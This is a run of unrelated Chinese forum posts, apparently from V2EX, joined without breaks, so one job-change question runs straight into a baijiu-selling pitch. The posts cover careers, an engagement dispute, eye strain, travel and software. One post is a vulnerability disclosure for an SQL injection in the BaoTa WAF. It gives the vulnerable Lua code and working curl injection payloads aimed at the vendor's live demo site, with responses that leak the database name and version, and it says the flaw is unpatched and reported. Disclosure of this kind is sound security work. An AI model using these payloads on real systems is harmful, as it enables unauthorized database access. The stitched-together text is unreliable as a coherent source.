2024-02-17

背景：
今年 30 ，普通二本工科男，毕业后在老家(江苏五线小城市)的合资小工厂做工程师，第八年了，855 ，一年 10w 出头，工作压力不大，但是升职也基本无望。

其实可以一直干下去，但是近些年来公司产品竞争力越来越低(国产竞品越来越多)，再加上大环境不好，公司很明显在走下坡路了。

从去年年底就想换工作，由于在合资企业干活，跟外企同事打交道多了，已经接受不了私企卷的的工作氛围了，只想找外资企业了。但是五线城市，本来就没多少企业，何况外资，要找也只能找去临近的城市找。

正好今年过年走亲戚，我老婆的一表哥在无锡一外企做销售小领导，是一家 500 强制造企业。我看那家企业正好也招和我专业差不多的岗位，待遇比我现在可能多 2 ，3 万， 他说如果我想去可以给我帮帮忙。让我考虑好了年后给他答复。

面临的问题：
最大的问题是我老婆在本地政府事业编，就算我以后在无锡买了房，她也不太可能放弃事业编过来。这样我只能是每周末回家，高速一个半小时到家。如果扣掉房租和通勤费用，等于收入没涨。而且目前还没有小孩，长期两地分居，对子女教育是大问题。

我的顾虑是已经 30 岁了，后面换工作只会越来越难。现在又正好有个合适的外企不错的机会，过去对个人发展肯定有帮助。而且我现在公司的产品非常小众，过去积累的大部分都是行业内知识，如果等公司不行再想转其他行业就很那难了。

我老婆是建议我去，她认为只要工资高，分居无所谓。父母不建议我去，他们就想我在本地安安静静的混下去就行了…

hi ，这篇帖子写在开工的头一天。明天就是正月初九了，开工的日子，先祝朋友们开工大吉，龙年健康快乐！

之前写过一篇内容，谈了谈自己，和白酒事业，在这里 👉 30 岁，裸辞创业，从卖白酒开始

今天来再分享一下，为什么将白酒，作为下半生的事业（之一）。

所谓下半生，其实我今年 30 岁了，下半生，也就是 30 岁往后的年纪，如果我 60 岁退休，那么我还可以工作 30 年，如果 70 岁退休，那就是 40 年。如果中间因为不可抗力，比如我挂了，那就只能提前结束了，毕竟谁也不知道明天和意外谁先来。所谓下半生，就是余生的所有日子。

那么下半生，我为什么专注于白酒？甚至 ALL IN 白酒。我来谈谈原因。

第一：酒是我的爱好

我喜欢喝酒，不论是白酒、啤酒（尤其是白啤）、洋酒（尤其是威士忌）、黄酒，我都喜欢。尤其是喝酒以后，我的话变得比平时多，思维变得更跳跃，酒壮怂人胆嘛。如果在古代，我就是书生一枚，怂人一个，但是李白说，唯有饮者留其名。我觉得现在的社会很牛逼，好像普通人除了规规矩矩遵纪守法以外，无法再为社会做些什么啦，我很着急的好嘛！可是既然没什么价值，那就喝酒消遣度日吧，不给社会添麻烦就可以了！说到消遣，我不喜欢打牌，因为太费脑子，我也不喜欢玩游戏，因为太菜影响队友。我喜欢喝酒，看到朋友们在一起喝酒开心我也开心，或者是自己不开心的时候喝点酒就会把所有的事情想开，格局忽然变得很大，可以原谅所有人（却不能原谅自己的一些事情，有时也酒后会想起来）。这些都是我爱喝酒的原因。甚至这篇文章，都是我在喝了七两多古越龙山之后写下来的，喝酒让我有脸皮在网上抒发抒发，所以酒是我的爱好。

第二：每个中国人都需要白酒

由生到死，中国人，谁都需要白酒。大事小事，都需要酒。这个市场会一直在，至少伴随我们这代人终老。

第三：白酒胜过任何社交活动

白酒是怎样一种存在呢，威士忌、伏特加也是烈酒，人们会坐在酒吧里品尝，但很少有人会坐下来品尝白酒。中国人通常会围坐在饭桌前，配几个下酒菜一起喝白酒，二两下肚，每个人都会打开话匣子，推杯换盏间，“兄弟我跟你说”、“兄弟你听我说”。三五十度的酒精，让人们快速进入忘我的状态。。。

所以白酒是最快让人进入状态的酒精饮料，胜过任何社交活动。

第四：白酒，永远不会过期

有什么东西是越陈旧反而越值钱的？白酒定律跟摩尔定律完全相反。据我所知除了古董、药材，就剩白酒能保值了。但也不是无脑存就行了，白酒的贮藏也是复杂的事情。

第五：酒精让人们的大脑减速，从减速中获得快乐

如今生活节奏太快了，走入社会，兄弟们走得太快了。为了生活，亲人们走得太快了。这片土地的人们太含蓄，只能几两白酒下肚，借着酒劲豪迈地表达，借着酒劲说出那些平时不会说出的肺腑或是肉麻的话。酒精让思维减速，有时候何尝不是一种解脱。白酒不适合铁石心肠的人，从口到喉到胃的热辣，都暖不了心，那真是最深的孤独。

最后

其实可以说，这是篇引流的帖子，我不否认。但是为什么选 V2 这个地方，其实这里大部分用户应该都是不喜欢喝白酒的。

但是我不爱逛别的论坛子，既然选择这里，那就接受所有聪明人的检阅吧。我相信能混迹这个论坛的人，至少突破了某种束缚。来自你们的，无论批评还是鼓励，都能对我有一些帮助，让我能更好地感知方向。

一个曾经的程序员，开始卖白酒了，想到的只不过是来这里发个帖子，号召一些同伴，也是机缘巧合啦。

所以你要不要一起？我们用余生，一起喝酒，一起做有意思的事情。我也很孤独啊，那不如一起抱团吧，以白酒为媒。

关于下半辈子，还想要做的一些事情，就是希望能从 V2 开始，认识更多对白酒有兴趣的人，我们从喝酒开始，去不同的城市面基，杯子碰在一起，去特么的操淡的世界。

想一起喝酒的朋友，余生很长，我们一起挥洒。小弟虽然人菜但是瘾大，在此广交天下酒友，希望有机会可以和全世界的朋友一起喝酒。

另外就是对于一些在为生计忙碌的朋友，也希望我的白酒资源能帮你赚到更多钱，我们一起卖白酒，从小开始，从身边做起，从点滴开始，尽可能地改善生活。这件事没有什么门槛，也不占用太多精力。

以后会不定期分享自己的白酒生意或其他的想法，但应该不会发太多，偶尔想起来就分享一些，让大家知道有我这么个人，知道我还活着，知道我还在卖白酒就可以啦。我的酒就是我的人品。

放个二维码吧，想要一起喝酒或是一起卖酒的朋友都可以加。如果是喝酒，加我的时候就备注喝酒（最好也能说下你的称呼，加的人点多昵称会分不清，我就这一个微信号，生活即工作），如果是想要一起卖酒，加了之后跟我说下，我建了白酒交流群，拉你进群，这个群未来二十年会一直在。

以上，写于 2024 甲辰年，丙寅月，辛亥日。

你们那里有 正月不理发 的风俗吗？

另外，想问问理发店开门了吗？哈哈

确实想修修头发，头发长得比较快

如题求助

同学在上海某厂做 Java 开发，公司想 0 成本裁员，让他们自己离职，就安排他们到内蒙阿拉善工作。

公司领导原话：这份工作在内蒙阿拉善地区，工作的内容是做一些测试工作，包括调试路由器测试系统的运行状态等，开发工作相对比较简单，根据岗变薪变原则，基本工资不变，但奖金需要重新核定。且这不是出差，是在那边上班，吃饭住宿问题自己解决，因客户需要而导致的差旅费用，可以走报销流程。

大家谈谈对 “员工坟场“ 的看法吧！

先说近视度数，左眼 475 右眼 600 ，都有 50 度左右的散光

然后这个症状断断续续持续 2 年了，
偶尔出现吧，只要连续使用眼睛一段时间（ 1 小时以上），两个眼睛就无法对焦，单眼看东西都有重影，必须强制休息 30 分钟或者滴眼药才能缓解

也看过医生，没给出什么具体诊断

上一副眼镜有这个症状，以为是眼镜的问题，但是频率也不高就忍了一段时间；一个月前刚换了一副眼镜，结果这个症状还是会发生，最近春节晚上看书/打游戏比较多，所以出现的频率更多


准备年后再去三甲医院看一下，已经有点影响工作和生活了。


但是想先提前问一下：这个症状是比较常见的吗？还有人有类似症状吗

也提醒好各位 保护好眼睛吧 现在已经影响我看书和学习了

##背景

周末到深圳找对象。每个月大概去两次，之前都是坐的 80 块钱的动车，一个小时就到深圳福田站了。算上 12306 的积分折扣的话，差不多是 95 折。76 左右，如果用第三方 APP 绑定 123 账号的话，基本都有 3 块钱左右的折扣。73 元一趟，每个月也要快 300 块钱了。（这还没加广州、深圳的地铁费用）

年前试过如约巴士，40 块钱从燕塘送到福田站，但是时间比较久差不多需要快 3 个小时。

##疑问

有没有其它的往返通行方案省钱点的。

感觉可能无解，但我还是想问问😅

接上篇文章，在测试宝塔 WAF 的未授权访问漏洞时无意间还发现了一个 SQL 注入漏洞，品相还不错，可执行任意 SQL 语句。

总之，吃了一惊，一个防 SQL 注入的工具居然也有 SQL 注入漏洞。

请看这段代码

get_site_status = function ()
	if not ngx.ctx.get_uri_args.server_name then
		return Public.get_return_state(false, "参数错误")
	end

	... 此处省略若干代码

	slot7, slot8, slot9, slot10 = slot4.query(slot4, [[
SELECT 
		SUM(request) as req,
		SUM(err_40x) as err_40x,
		SUM(err_500) as err_500,
		SUM(err_502) as err_502,
		SUM(err_503) as err_503,
		SUM(err_504) as err_504,
		SUM(err_499) as err_499,
		SUM(send_bytes) as send_bytes,
		SUM(receive_bytes) as recv_bytes,
		SUM(pc_count) as pc_count,
		SUM(mobile_count) as mobile_count,
		SUM(spider_baidu) as spider_baidu,
		SUM(spider_google) as spider_google,
		SUM(spider_bing) as spider_bing,
		SUM(spider_360) as spider_360,
		SUM(spider_sogou) as spider_sogou,
		SUM(spider_other) as spider_other,
		SUM(ip_count) as ip_count,
		SUM(pv_count) as pv_count,
		SUM(uv_count) as uv_count
		 FROM `request_total` WHERE `server_name`=']] .. slot1 .. "' AND `date`='" .. os.date("%Y-%m-%d") .. "'")

	... 此处省略若干代码

	return Public.get_return_state(true, slot6)
end

这段代码位于 /cloud_waf/nginx/conf.d/waf/public/waf_route.lua 文件中，源文件是 luajit 编译后的内容，反编译一下即可看到源码

这段逻辑就在上文提到的 get_site_status API 中，slot1 变量就是 server_name 参数。原理很简单，server_name 参数没有做任何校验就直接带入了 SQL 查询。

宝塔官网还没有修复这个问题，还是拿宝塔官网为例，试试以下命令：

curl "http://btwaf-demo.bt.cn/get_site_status?server_name='-extractvalue(1,concat(0x5c,database()))-'"  -H 'X-Forwarded-For: 127.0.0.1' -H 'Host: 127.0.0.251'

响应如下

{"status":false,"msg":"数据查询失败: XPATH syntax error: '\\btwaf': 1105: HY000."}

从响应来看已经注入成功，通过 updatexml 的报错成功的爆出了库名叫 btwaf

继续执行以下命令：

curl "http://btwaf-demo.bt.cn/get_site_status?server_name='-extractvalue(1,concat(0x5c,version()))-'"  -H 'X-Forwarded-For: 127.0.0.1' -H 'Host: 127.0.0.251'

响应如下

{"status":false,"msg":"数据查询失败: XPATH syntax error: '\\8.1.0': 1105: HY000."}

从响应来看，mysql 版本是 8.1.0

在继续执行以下命令

curl "http://btwaf-demo.bt.cn/get_site_status?server_name='-extractvalue(1,concat(0x5c,(select'hello,world')))-'"  -H 'X-Forwarded-For: 127.0.0.1' -H 'Host: 127.0.0.251'

响应如下

{"status":false,"msg":"数据查询失败: XPATH syntax error: '\\hello,world': 1105: HY000."}

看起来 select 'hello,world' 也执行成功了，到此为止，基本可以执行任意命令。

漏洞已通报给宝塔官方，此漏洞危害较大，各位宝塔用户请关注宝塔官方补丁，及时更新。

背景信息

近期我购买了 2t 的移动硬盘，因为后续还有连接 Windows 平台使用的需求，为方便 Mac 和 Windows 共同使用（出于数据安全性需要 Exfat 没有考虑），我将硬盘设置为来 NTFS 格式。

软件选择

目前锚定了 Paragon 和 Tuxera 的软件，楼主在购买选择读取软件时候犯了一些困难。

购买疑惑

关于 Paragon 的软件有以下两点疑惑：

1. 关于授权模式：我在试用 Paragon 的 NTFS for Mac ，感觉还不错准备付费，发现是版本授权，后续更新大版本还需再付费，想问问大佬们是否是需要一个版本一付费的才能使用？
2. 关于购买渠道：我发现购买渠道是官网（美元/信用卡付费），或者买中国代理公司的，或者一些第三方平台的，我对后两个比较疑惑不知道是什么样的存在？不知道是否靠谱？

关于 Tuxera 的软件有以下两点疑惑：

1. 关于授权模式：Tuxera 版本也是一版本一付费还是终身授权呢？
2. 关于购买渠道：我查询到有官网（美元等）、第三方平台、或者上淘宝（甚至有 10 元的 tuxera ，这靠谱吗？）不知道哪个渠道靠谱？

同时我也想了解一下大家对于 Mac 端 NTFS 格式软件使用的看法和选取建议，十分感谢。感谢大佬们！第一次发帖如有问题多多海涵。

今天去三星门店销售悄悄说他们不是一个级别，无法放在一起对比。 我瞬间信了。

我老家四川达州农村，弟弟今年毕业，已找到工作，父母在老家开了几个电信营业厅，最近几年生意都不是很好。我是 96 年的，从事 IT ，毕业 7 年了，去年刚在成都买了房，年底交了房，已经在开始装修

她老家四川巴中，父母在广东开了个服装加工厂，他弟弟目前也在工厂上班，她家多年前在南充买了房子，疫情开始后生意就一直不行。她 98 年的，21 年毕业后在广东一个外贸公司上班做店铺售后。

21 年 10 月经他堂哥(大学校友)的介绍认识，聊了几个月聊的还不错，她在成都有个闺蜜，22 年年前辞职来成都搬到她闺蜜家了，不久后我们就在一起了，在成都也找了个店铺售后的工作一直干到现在，每个月 5k 到 7k 的样子，我们感情还可以，23 年过年后就搬到一起住了，23 年过年我们俩就相互见了家长，节假日也都会问候对方父母。 我们觉得差不多了，就计划约双方父母见面，腊月 27 我去她家，腊月 28 我开她们的车到我家吃了个饭，因为她们还有个订婚的流程，所以她们返程之前跟我们说初六过来订婚。

我们这边是没有订婚流程的，父母相见基本上就确定了，后面就商量彩礼和结婚的事宜，但她们要求订婚，初六会来 10 个人左右，她们的规矩是来的每个人都要包红包，而且要给女方父母一个额外的订婚钱，也包到红包里。刚好初二他堂哥(大学校友，算是媒人)订婚，红包每人 600 ，外加订婚钱 2w ，我结合了我们这边习俗，加上去年买房父母也帮扶了很多，订婚也不好意思找他们要，就想个人出，就没给到那么多，小 1w 的样子，这个结论给到女方后，她跟她父母商量出来坚定要后年结婚，要考察我 2 年，希望我多挣几年钱，少给点压力给她，我还是希望今年或者明年结，就问了一下她堂哥这 2w 是给她父母还是给她(我们这边习俗是女方父母都不会收男方钱的，并且彩礼会在原给的基础上多返 2~3w 或翻倍给到女儿)，她堂哥就直接打电话问了她父亲这个事情，没想到她父母直接发火了，表示这个我不该问，或者不该传到她父母耳朵来，不能摆到台面上的，后面她舅舅，幺舅舅幺外公他们都来安慰、劝她父母，并给给一个方案，喊我明天(就是初三)过来跟她父母道个歉，让她父母心情高兴点，不然周六不得来订婚的。

我父母不让我去，但我最后还是坚持去了，开了 4 个小时的车到她家小区后，这会已经一点多了，买了两件奶，她和她弟弟来小区门口接我，把我接到小区中庭坐下来谈，表示她父母现在还在生气，希望我不要谈跟订婚结婚相关的任何事情，先把昨天的问题解决好，我当时就觉得我已经来了，再生气摆脸色就不合适了，就不准备上去了，后面她弟弟上去把她小舅舅叫下来跟我谈了一下然后我就上去了，进门之后我马上就跟她父母道歉了，表示昨天的事情是个误会，希望不要生气，我看没有准备饭菜，我就说大家等这么久都饿了，我们先下去吃个饭，吃饭时慢慢说，然后找了个中餐馆，她父母弟弟舅舅小舅舅幺外公这几个人在，桌子上我就主动跟她父母道歉了，她父母也把话说开了，然后我就去把酒桌钱付了。 最后回家路上，我觉得她父母给我的压力太大了，遇到事情以后结婚了不好处理，晚上回去跟爸妈把今天的整个流程说了，也被老爸叼了，最后商量还是先不订婚，然后把原因给她说了，后面就跟她父母说我们没准备好钱没挣够也还不够成熟，初六的订婚推迟，初六她们也没来。 现在她父母已经把我微信删了，她父母不同意她嫁给我，但是她还是放不下，我也有点放不下，V 友们有没有好的意见或建议，批评什么的都可以，看看这个事情还能怎么处理

如果你年轻时有幸去过西藏，那么你的余生无论去往哪里，西藏永远会与你在一起。

3700 个字，80 张图，断断续续写了好久......

• 公众号文章地址： https://mp.weixin.qq.com/s/8fk4I8JxVHG0vYyJeOXGxg
• 博客链接： https://blog.sunguoqi.com/posts/2c20bbfc/

一些说明：

• 建议阅读微信公众号版本，排版会更好。
• 文中所有图片，只要是相机拍的，都是直出，无后期。
• 网站里的图片画质更高清，喜欢哪张可以自取，无需授权。
• 如果能关注一下我的公众号，支持一下，我会非常开心。

[小孙同学 Coding ] mp.sunguoqi.com

背景是这样的，日常冲浪/学习需要，很多时候都需要手机或电脑剪贴板互传，用过很多诸如 kde connect 、localsend 、文件闪传等等的局域网文件互传工具，都没很好符合个人的使用需求，

我个人的使用需求很简单：

1. 尽量少的操作，尽量无感
2. 传输速度不能太低
3. 剪贴板主动互传
4. 最好是加密传输

上面之前用过那些或多或少都有都不能完全满足以上几个点，直到过年前几天在逛着酷安发现了这个项目 https://github.com/doraemonkeys/WindSend

体验了一周确实很不错分享一下，日常使用电脑传到手机，不管是剪贴板文件还是文字甚至是文件夹，只需要在电脑端 ctrl+c ，然后去手机端去 app 复制就完成了，完美满足了像我这种不需要完全同步剪贴板，但有些时候又需要传输文字或文件还嫌麻烦的人，同时也是加密传输，服务的占用极小

平时不会静音，因为下班后领导可能发消息过来，或者假期突然要被叫去加班。甚至晚上睡觉都不能静音，怕错过业务报警，来不及处理会很麻烦。

能享受属于自己的时间，原本一件很正常的事，现在也成了奢望。如果真的去完全享受生活，只会被问为什么不及时回复。什么时候我们能在下班后完全的脱离工作？

父母目前 47 岁，每年都买医保，现在想给他们投个补充医疗保险。之前听过支付宝的好医保，有用过的 v 友吗？应该买哪些呢？求推荐推荐，欢迎大家讨论！